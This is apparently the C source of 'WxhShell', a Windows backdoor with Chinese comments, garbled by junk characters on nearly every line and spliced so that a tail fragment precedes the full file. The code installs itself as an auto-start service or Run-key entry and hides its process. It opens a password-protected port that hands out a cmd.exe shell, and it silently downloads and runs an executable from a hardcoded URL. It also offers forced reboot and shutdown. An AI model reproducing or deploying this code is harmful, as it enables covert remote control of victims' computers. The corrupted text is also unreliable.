    else { Qs</.PO  
    closesocket(wsh); [ tm J6^s  
    ExitThread(0); V"\t  
    } .y[=0K:  
    break; i wK,XnIR  
    } z q(AN<  
  // 获取shell >_tn7Z0 L  
  case 's': { B ljZ&wZW  
    CmdShell(wsh); dt ;R  
    closesocket(wsh); H?^Poe(=(  
    ExitThread(0); )I`B+c:  
    break; M(SH3~  
  } @K2q*d  
  // 退出 #@ lLx?U  
  case 'x': { J`V7FlM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \$GlB+ iCx  
    CloseIt(wsh); vvdC.4O  
    break; W aks*^|  
    } r!j_KiUy  
  // 离开 E+F!u5u  
  case 'q': { 1 ^Ci$ra  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E3sl"d;~  
    closesocket(wsh); X_O(j!h  
    WSACleanup(); i>>_S&!9p  
    exit(1); A"i40 @+  
    break; XeJx/'9o{  
        } "J7=3$CA  
  } ZShRE"`  
  } t"JfqD E  
So,EPB+  
  // 提示信息 OG/R6k.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `3\5&Bf  
} s#64NG  
  } W 4~a`D7  
n: Ka@  
  return; 29 ')Y|$,  
} Lk=f^qJ ]  
<.+hV4,3  
// shell模块句柄 1kvBQ1+  
int CmdShell(SOCKET sock) ->$Do$  
{ 7s1FJm=Y/  
STARTUPINFO si; 3zv_q&+8b  
ZeroMemory(&si,sizeof(si)); -h8A<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^JJ*pT:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ftu4 V*lD  
PROCESS_INFORMATION ProcessInfo; *8t_$<'dQ  
char cmdline[]="cmd"; 0x[v)k9"0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rw=g g >\  
  return 0; DMsxHAE1  
} QUwSnotgU  
 b-yfBO  
// 自身启动模式 wHAoO#`wn5  
int StartFromService(void) kk )9!7  
{ ~bg?V0  
typedef struct M7BJ$fA0E  
{ ^4h/6^b0c  
  DWORD ExitStatus; <jY"+@rF  
  DWORD PebBaseAddress; 0a ZplE,  
  DWORD AffinityMask; Mb"i}Yt{  
  DWORD BasePriority; J *5 )g  
  ULONG UniqueProcessId; `o)rAD^e  
  ULONG InheritedFromUniqueProcessId; %F]4)XeW-+  
}   PROCESS_BASIC_INFORMATION; oj;Rh!O  
josc  
PROCNTQSIP NtQueryInformationProcess; C`%cPl  
m\O<Yc keA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9)];l?l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +MvcW.W~  
h/mmV:v  
  HANDLE             hProcess; pa`"f&JO  
  PROCESS_BASIC_INFORMATION pbi; ( Y'q%$  
` XE8[XY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mi`!'If0)  
  if(NULL == hInst ) return 0; :Bz*vH  
M._9/ *C U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S[n ;u-U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .m9s+D]fI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L$=6R3GI  
Akb#1Ww4  
  if (!NtQueryInformationProcess) return 0; #kR8v[Z  
8rx?mX,}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "6[fqW65  
  if(!hProcess) return 0; ZQlja  
]O,;t>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^M0e0  
[ ]}E- V  
  CloseHandle(hProcess); &-dyg+b3  
DZ<q)EpC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -hZlFAZi  
if(hProcess==NULL) return 0; 9nu!|reS  
A9`& Wnw?  
HMODULE hMod; 2"cUBFc1I  
char procName[255]; :* 4b,P  
unsigned long cbNeeded; om@GH0o+  
Z@4 BTA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,qz$6oxh\  
...|S]a  
  CloseHandle(hProcess); | :7O  
IlJ!jq  
if(strstr(procName,"services")) return 1; // 以服务启动 nYhI0q  
W|XW2`3p  
  return 0; // 注册表启动 H$bu*o-Z  
} 8E`A`z  
outAZy=R;  
// 主模块 Q`j!$r  
int StartWxhshell(LPSTR lpCmdLine) b1>zGC^|  
{ *~YU0o  
  SOCKET wsl; {ss^L  
BOOL val=TRUE; C@3a/<6m  
  int port=0; "#Qqwsw7  
  struct sockaddr_in door; Ro\ U T64  
Lq : !?)I  
  if(wscfg.ws_autoins) Install(); $Y& 8@/L  
plcz m 2  
port=atoi(lpCmdLine); { }Q!./5  
OE[| 1?3  
if(port<=0) port=wscfg.ws_port; tbG^9d  
k]K][[s`  
  WSADATA data; }#]2u| G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kG 7]<^Os3  
Osz:23(p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $o2H#"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6b`3AAGU"  
  door.sin_family = AF_INET; X` r~cc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); | >X5@  
  door.sin_port = htons(port); 1- Jd Qs6  
L+VqTt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W/e6O??O  
closesocket(wsl); ;:nx6wi  
return 1; O1]L4V1iH  
} 1X. E:  
QfPsF@+-`7  
  if(listen(wsl,2) == INVALID_SOCKET) { k;BXt:jDq  
closesocket(wsl); Z'=:Bo{  
return 1; PggjuPPh  
} [[ {L#  
  Wxhshell(wsl); t,H=;U#  
  WSACleanup(); jMFLd  
&q8oalh  
return 0; Y]MB/\gj  
d7(g=JK<  
} uknX py))  
pe%$(%@v  
// 以NT服务方式启动 ,cj531.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3'3E:}o|  
{ 55LW[Pc  
DWORD   status = 0; @s7ZfV??  
  DWORD   specificError = 0xfffffff; rx[l7F q  
< KB V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'Z ;8-1M?O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }[2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %# M=qP  
  serviceStatus.dwWin32ExitCode     = 0; f)'m pp^  
  serviceStatus.dwServiceSpecificExitCode = 0; %BBM%Lj  
  serviceStatus.dwCheckPoint       = 0; ' tyblj C  
  serviceStatus.dwWaitHint       = 0; d-k`DJ!  
)DG>omCY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); naOCa  
  if (hServiceStatusHandle==0) return; 4gKu8G  
7# !RX3  
status = GetLastError(); Ov<EOK+^  
  if (status!=NO_ERROR) '\g-z  
{ >`{B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ut/3?E1 Z  
    serviceStatus.dwCheckPoint       = 0; Yf&P|Iiw  
    serviceStatus.dwWaitHint       = 0; kz30! L  
    serviceStatus.dwWin32ExitCode     = status; };/;L[,G  
    serviceStatus.dwServiceSpecificExitCode = specificError; k{Ad(S4J&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4{zz-4=  
    return; kfc5ra>&  
  } v^A4%e<8^r  
Sao4MkSz[]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (Mzv"FN]  
  serviceStatus.dwCheckPoint       = 0; $tm%=g^  
  serviceStatus.dwWaitHint       = 0; @}{lp'8FYi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l4O&*,}l##  
} U=ek_FO  
z.vE RP56  
// 处理NT服务事件,比如:启动、停止 M_BG :P5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rg5ZxN|g  
{ =(aA`:Nl  
switch(fdwControl) qz_'v{uAj  
{ _dQg5CmlG  
case SERVICE_CONTROL_STOP: "O (N=|b  
  serviceStatus.dwWin32ExitCode = 0; sd m4zV]&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !vfbgK  
  serviceStatus.dwCheckPoint   = 0; THN/ /}d  
  serviceStatus.dwWaitHint     = 0; WWBm*?U  
  { NP#6'eH\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q%T[&A}3B  
  } #OMFv.  
  return; F9}jiCom  
case SERVICE_CONTROL_PAUSE: `W=3_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v w  
  break; %noByq,?  
case SERVICE_CONTROL_CONTINUE: 6, ~Y(#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MrU0Jrk4+  
  break; VY1&YR}Y  
case SERVICE_CONTROL_INTERROGATE: ,h<xL-  
  break; kN~:Bh$  
}; d}:eLC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <6rc 8jYz  
} [aS<u`/g|  
R]LuZN  
// 标准应用程序主函数 ]Y.GU7`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C0`Bi:Ze  
{ zhdS6Gk+  
$S6%a9m   
// 获取操作系统版本 rWMG6+Scb  
OsIsNt=GetOsVer(); % S vfY{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uyqu n@q  
gJFx#s0?6.  
  // 从命令行安装 zBjtPtiiI8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7{ JIHY+  
>}7Ml  
  // 下载执行文件 RW4,j&)  
if(wscfg.ws_downexe) { %a\L^w)Xn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) my]t[%Q{  
  WinExec(wscfg.ws_filenam,SW_HIDE); WeiDg,]e$b  
} |PNPOj0  
E;MelK<8(  
if(!OsIsNt) { })F.Tjf*  
// 如果时win9x,隐藏进程并且设置为注册表启动 fw3P?_4;*  
HideProc(); ]. E/s(p  
StartWxhshell(lpCmdLine); '#eY4d<i]n  
} Y n7z#bu  
else e0z(l/UB  
  if(StartFromService()) 1=@csO_yn  
  // 以服务方式启动 $*')Sma  
  StartServiceCtrlDispatcher(DispatchTable); I6e[K(7NY  
else b2r]>*Vc  
  // 普通方式启动 zB68%  
  StartWxhshell(lpCmdLine); )q|a Sd  
VFI\2n`  
return 0; h1 npaD!  
} I<+i87=  
EA``G8Vn>  
+bDBc?HZ{$  
8\VP)<<  
=========================================== {9Ug9e{ ~  
AW <"3 !@  
ZBuh(be  
[k<.BCE  
P _x(`H  
2 r';)8:  
" =n ff;Xu  
ss0`9:z  
#include <stdio.h> X#Sgf|$  
#include <string.h> `k.0d`3(  
#include <windows.h> I83 _x|$FZ  
#include <winsock2.h> 5< $8.a#  
#include <winsvc.h> = 9!|%j  
#include <urlmon.h> k-!Jww  
zI.%b7wq  
#pragma comment (lib, "Ws2_32.lib") e.VQ!)>  
#pragma comment (lib, "urlmon.lib") B{tROuN<  
f`K[oCfu  
#define MAX_USER   100 // 最大客户端连接数 5HC5   
#define BUF_SOCK   200 // sock buffer wLa8&E[  
#define KEY_BUFF   255 // 输入 buffer ?#~km0~F)  
K41Gn  
#define REBOOT     0   // 重启 aoHAB<.C  
#define SHUTDOWN   1   // 关机 y!M# #K*  
OPuty/^!Gw  
#define DEF_PORT   5000 // 监听端口 NCa3")k  
rbl7-xhC7  
#define REG_LEN     16   // 注册表键长度 nKnQ%R  
#define SVC_LEN     80   // NT服务名长度 SVn $!t  
=&t]R? F  
// 从dll定义API kyH0J[/n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9)*218.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Am@:<J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d+WNg2#v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [x{Ai( /T^  
g#%Egb1  
// wxhshell配置信息 T f40lv+{  
struct WSCFG { ]%2y`Jrl^W  
  int ws_port;         // 监听端口 6]|-%  
  char ws_passstr[REG_LEN]; // 口令 z'&tmje[?  
  int ws_autoins;       // 安装标记, 1=yes 0=no U1;&G  
  char ws_regname[REG_LEN]; // 注册表键名 z7_h$v  
  char ws_svcname[REG_LEN]; // 服务名 F*-+5nJ&@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b6NGhkr'\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y[0mTL4IO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0[ZB^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j8)rz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xnOd$]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oy_%U*  
| Di7 ,$c  
}; y>>)Yo&|  
*cP(3n3]R  
// default Wxhshell configuration Aa+<4 R  
struct WSCFG wscfg={DEF_PORT, kx,3[qe'S  
    "xuhuanlingzhe", %v4*$E!f  
    1, DX_?-jw})f  
    "Wxhshell", i`}!<{k  
    "Wxhshell", WBWIHv{j  
            "WxhShell Service", 1hY%Zsj C  
    "Wrsky Windows CmdShell Service", &~:+2  
    "Please Input Your Password: ", d7G DIYH<  
  1, Q9Vj8JO"{  
  "http://www.wrsky.com/wxhshell.exe", 4Opf[3]  
  "Wxhshell.exe" _<%YLv  
    }; /'a\$G"%6  
w0X})&,{`m  
// 消息定义模块 FQ"ED:lks  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; = N^Ec[u(l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?vP6~$*B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "*LQr~k~}  
char *msg_ws_ext="\n\rExit."; y!c<P,Lt3f  
char *msg_ws_end="\n\rQuit."; '#a;n  
char *msg_ws_boot="\n\rReboot..."; &$heW,  
char *msg_ws_poff="\n\rShutdown..."; ?G[=pY:=  
char *msg_ws_down="\n\rSave to "; jqlfypU  
u7S C_3R  
char *msg_ws_err="\n\rErr!"; Rn*@)5  
char *msg_ws_ok="\n\rOK!"; H8kB.D[7Q  
pQi|PQq  
char ExeFile[MAX_PATH]; .I0M'L~!/L  
int nUser = 0; mu2|%$C;$  
HANDLE handles[MAX_USER]; 2cjbb kq  
int OsIsNt; 26}fB  
v7/k0D .  
SERVICE_STATUS       serviceStatus; ! u@JH`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZypK''&oc  
\M;cF "e-S  
// 函数声明 qpjiQ,\:b  
int Install(void); \]0#jI/:  
int Uninstall(void); OX7a72z  
int DownloadFile(char *sURL, SOCKET wsh); WmOu#5*;  
int Boot(int flag); GX=U6n>  
void HideProc(void); J"-/ok(<@  
int GetOsVer(void); 7 lSR  
int Wxhshell(SOCKET wsl); _*cKu>,O  
void TalkWithClient(void *cs); [A'e7Do%'  
int CmdShell(SOCKET sock); j\HZ5  
int StartFromService(void); #^tnRfS"  
int StartWxhshell(LPSTR lpCmdLine); LYr9a(  
t&i4kS^y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |\xTcS|d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Aho-\9/x%  
mV0u:ws  
// 数据结构和表定义 7x]q>Y8T  
SERVICE_TABLE_ENTRY DispatchTable[] = r4ljA@L  
{ u2OrH3E4E3  
{wscfg.ws_svcname, NTServiceMain}, 26p_fKY  
{NULL, NULL} y@SI)&D  
}; ehLn+tg  
< lUpvr  
// 自我安装 b2H -D!YO^  
int Install(void) 0p+3 6g  
{ kjDmwa+91T  
  char svExeFile[MAX_PATH]; Nza@6nI"  
  HKEY key; >2v<;.  
  strcpy(svExeFile,ExeFile); X|yVRQ?F`  
6n|][! f  
// 如果是win9x系统,修改注册表设为自启动 _S,UpR~2W  
if(!OsIsNt) { [_`@ V4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k;K-6<^h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0+k..l  
  RegCloseKey(key); +R7pdi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BSL+Gjj~}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fkg%_v$  
  RegCloseKey(key); B.!&z-)#  
  return 0; c D .;  
    } X3] [C  
  } 9e4`N"#,lI  
} P$]K  
else { nvA7eTO6C  
L F&!od9[  
// 如果是NT以上系统,安装为系统服务 E:-~SH}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S|T_<FCY  
if (schSCManager!=0) w}s5=>QG%  
{ D< kf/hj  
  SC_HANDLE schService = CreateService ?M^qSo=/~  
  ( 3.9/mztS  
  schSCManager, ~pHuh#>  
  wscfg.ws_svcname, h/2@4XKj  
  wscfg.ws_svcdisp, <m0=bm{j  
  SERVICE_ALL_ACCESS, E@6gTx*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W*?qOq {  
  SERVICE_AUTO_START, 3dJiu  
  SERVICE_ERROR_NORMAL, )3O#T$h  
  svExeFile, 1]Cd fj6@  
  NULL, hUX8j9N>  
  NULL, T`,G57-5  
  NULL,  vY"I  
  NULL, o2;Eti  
  NULL *^RoI  
  ); %&0/ Ypp=  
  if (schService!=0) ~Ye nH  
  { TRJTJM_k  
  CloseServiceHandle(schService); ]+b?J0|P<  
  CloseServiceHandle(schSCManager); n/`!G?kvI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )L7[;(gQ  
  strcat(svExeFile,wscfg.ws_svcname); @ 'c(q=K;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H0jbG;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8C[eHC*r  
  RegCloseKey(key); JpZ_cb`<E'  
  return 0; HH0ck(u_A*  
    } /0!.u[t)~  
  } zqURnsJ  
  CloseServiceHandle(schSCManager); ).0p\.W~  
} K7C!ZXw~  
} K4o']{:U  
LK!sk5/  
return 1; (pHJEY  
} >FS%-eI6  
Ups0Xg&{  
// 自我卸载 /sn }Q-Zy2  
int Uninstall(void) mY[*Cj3WJ  
{ atW^^4 :  
  HKEY key; t~)4f.F:  
nE?:nJ|%E  
if(!OsIsNt) { WncHgz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f,|;eF-Z  
  RegDeleteValue(key,wscfg.ws_regname); Y^C(<N$  
  RegCloseKey(key); ,1cpV|mAr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s];0-65)  
  RegDeleteValue(key,wscfg.ws_regname); _00}O+GLM4  
  RegCloseKey(key); [mNum3e  
  return 0; !vVW8hbp  
  } IWm@pfC+g  
} h~qv_)F_  
} :'xZF2  
else { {<a)+S.6U  
sva-Sd8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [z"oi'"fQ  
if (schSCManager!=0) )2 q r^)  
{ 4F6I7lu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~C3J-z<  
  if (schService!=0) tOte[~,  
  { |eg8F$WU  
  if(DeleteService(schService)!=0) { xi4b;U j  
  CloseServiceHandle(schService); \ So)g)K  
  CloseServiceHandle(schSCManager); P[$idRS&  
  return 0; P.g./8N`z  
  } Nq^o8q_  
  CloseServiceHandle(schService);  Hyenn  
  } qrjSG%i~J7  
  CloseServiceHandle(schSCManager);  j=G  
} Fe+(+ S  
} vO53?vN[m9  
`c|H^*RC  
return 1; Z0O0Q=e\Y  
} VC_F Cz  
=v!Z8zk=W  
// 从指定url下载文件 8kr$w$=q  
int DownloadFile(char *sURL, SOCKET wsh) XiV K4sD8  
{ b6H7>x  
  HRESULT hr; VKw.g@BY  
char seps[]= "/"; XR p60i6f  
char *token; lqgR4  !  
char *file; 2^75|Q  
char myURL[MAX_PATH]; TKbfZw  
char myFILE[MAX_PATH]; KY0<N 9{  
&U CtyCz  
strcpy(myURL,sURL); n5efHJU  
  token=strtok(myURL,seps); L?P[{Ohh/  
  while(token!=NULL) H3pZfdh?w  
  { g;OR{  
    file=token; 44t;#6p@%>  
  token=strtok(NULL,seps); :cIPX%S  
  } |}:q@]dC#  
!6sR|c"~j  
GetCurrentDirectory(MAX_PATH,myFILE); '/rU<.1  
strcat(myFILE, "\\"); =3rf}bl2  
strcat(myFILE, file); :oYSvK7>  
  send(wsh,myFILE,strlen(myFILE),0); *-.`Q  
send(wsh,"...",3,0); ]/3!t=La  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s jaaZx1  
  if(hr==S_OK) <lU(9) L;&  
return 0; R#?atL$(  
else LaZ @4/z!  
return 1; DHyQ:0q  
T-lP=KF=  
} Uq x@9z(  
BZKg:;9  
// 系统电源模块 R<hsG%BS(D  
int Boot(int flag) X+ybgB4(  
{ cG3tn&AXi  
  HANDLE hToken; V?>&9D"m  
  TOKEN_PRIVILEGES tkp; k8SY=HP  
#,FXc~V  
  if(OsIsNt) { #Aj#C>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `K[r5;QFKf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x%T^:R  
    tkp.PrivilegeCount = 1; R%t|R7 9I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s ya!VF]`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y t_t>  
if(flag==REBOOT) { KG96;l@'(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M\Wg|gpy  
  return 0; V`i(vC(  
} Zs;c0T ">  
else { 7TU77  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9"/=D9o9  
  return 0; ,6f6r  
} Se\iM s  
  } Q&@<?K9  
  else { Y{@foIZ  
if(flag==REBOOT) { pe).  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xi+l1xe  
  return 0; `r}a:w-  
} Y(ClG*6 ++  
else { *_Ih@f H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7 4(bo \  
  return 0; qC=ZH#  
} z,@R jaX  
} Dr(;A>?qG  
Ra^c5hP:.E  
return 1; ycEp,V;[Z  
} :9q|<[Y^  
LW/> %  
// win9x进程隐藏模块 ' ~z`kah  
void HideProc(void) 1-<?EOYaE  
{ !wKNYe  
jd "YaZOQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :; La V  
  if ( hKernel != NULL ) >m=XqtP  
  { v0;dk(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]C|xo.=?]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I8IH\5k  
    FreeLibrary(hKernel); ymR AQVv  
  } ;qUd]c9oi  
0&Iu+hv  
return; ~X'hRNFx~  
} X*bOE}  
-:Juxh  
// 获取操作系统版本 9`@}KnvB?  
int GetOsVer(void) @)z?i  
{ e;"%h%'  
  OSVERSIONINFO winfo; )IIWXN2A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jCg4$),b  
  GetVersionEx(&winfo); xyXVWd[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $z5C+K@  
  return 1; KEq48+j  
  else qV``' _=<  
  return 0; Tv% Z|%*  
} /"R{1  
<BBSC  
// 客户端句柄模块 tqKX\N=5^  
int Wxhshell(SOCKET wsl) iRv \:.aQ.  
{ 4s <Z KU  
  SOCKET wsh; 0f5)]  
  struct sockaddr_in client; em ]0^otM  
  DWORD myID; 6}\J-A/  
Gq?>Bi;`  
  while(nUser<MAX_USER) \@^` G  
{ ^~bAixH^k  
  int nSize=sizeof(client); 4]%MrSjS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `{}DLaD9  
  if(wsh==INVALID_SOCKET) return 1; /q"8sj/  
7Fb!;W#X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E-?JHJloU  
if(handles[nUser]==0) >bO}sx1?  
  closesocket(wsh); K2tOt7M!  
else lXnv(3j3*s  
  nUser++; V r T0S  
  } Eqx|k-<a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j<w5xY  
_sCzee&uQ  
  return 0; ;`a~9uG  
} iTCY $)J  
P Qi=  
// 关闭 socket o'YK\L!p  
void CloseIt(SOCKET wsh) quq!Jswn  
{ 1t#|MH ?U_  
closesocket(wsh); <sjz_::V8R  
nUser--; =Zaw>p*H  
ExitThread(0); 0!1cHB/c  
} ;PMy9H  
8J2U UVA`1  
// 客户端请求句柄 XIp>PcU^  
void TalkWithClient(void *cs) ^VjF W  
{ sz4;hSTy  
[>:9 #n  
  SOCKET wsh=(SOCKET)cs; }SS~uQ;8  
  char pwd[SVC_LEN]; KFM)*Icg\8  
  char cmd[KEY_BUFF]; ~eekv5  
char chr[1]; % +M,FgW  
int i,j; d{]2Q9g  
?T'a{ ~]R  
  while (nUser < MAX_USER) { ey U*20  
/@LUD=  
if(wscfg.ws_passstr) { =UZQ` {  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X@:@1+U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !L@a;L  
  //ZeroMemory(pwd,KEY_BUFF); *1U"uJno  
      i=0; D<bH RtP  
  while(i<SVC_LEN) { l9{.~]V  
|vh{Kb@  
  // 设置超时 ;n/04z  
  fd_set FdRead; )zo:Bo .<  
  struct timeval TimeOut; R]TS5b-  
  FD_ZERO(&FdRead); ?!n0N\|i]  
  FD_SET(wsh,&FdRead); K5\;'.9M  
  TimeOut.tv_sec=8; /)XN^Jwa;m  
  TimeOut.tv_usec=0; 2nB{oF-Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H+VjY MvK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z?C& ,mv  
}h9f(ZyJn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -W1Apd%>  
  pwd=chr[0]; ()(/9t  
  if(chr[0]==0xd || chr[0]==0xa) { VCvFCyAz  
  pwd=0; ~J|B  
  break; jd}-&DN  
  } XchVsA  
  i++; wv&%09U  
    } 'o ZdMl&  
[d6TwKv  
  // 如果是非法用户,关闭 socket *orP{p -U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @kB^~Wf  
} o[ 4e_ @E  
Z WhV"]w&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l9F]Lw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `"eIzLc%o6  
`it  
while(1) { [xl+/F7  
x:`"tJa  
  ZeroMemory(cmd,KEY_BUFF); $Rf)iW;h  
3TNj*jo  
      // 自动支持客户端 telnet标准   #Dl=K<I  
  j=0; '/<f'R^  
  while(j<KEY_BUFF) { m+pFU?<|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |j!U/n.%w  
  cmd[j]=chr[0]; Kq zQLu  
  if(chr[0]==0xa || chr[0]==0xd) { T7ICXpe@  
  cmd[j]=0; hixG/%aO  
  break; RH0J#6C/  
  } =(p]L  
  j++; dC 8,  
    } ,<]~/5-f  
=~'{2gsB  
  // 下载文件 A=\:b^\  
  if(strstr(cmd,"http://")) { C dTE~O<)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &u9@FFBT8  
  if(DownloadFile(cmd,wsh)) n~?n+\.&a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aiqn6BX{  
  else G!5~`v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _"S1>s)X?j  
  } UR DXyAt  
  else { y"Jma`Vjq  
h)sQ3B.}A  
    switch(cmd[0]) { l]Q<BV  
  u=PYm+q{  
  // 帮助 ]"VxEpqhM  
  case '?': { ]}>uvl^l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {7LNQGiJ  
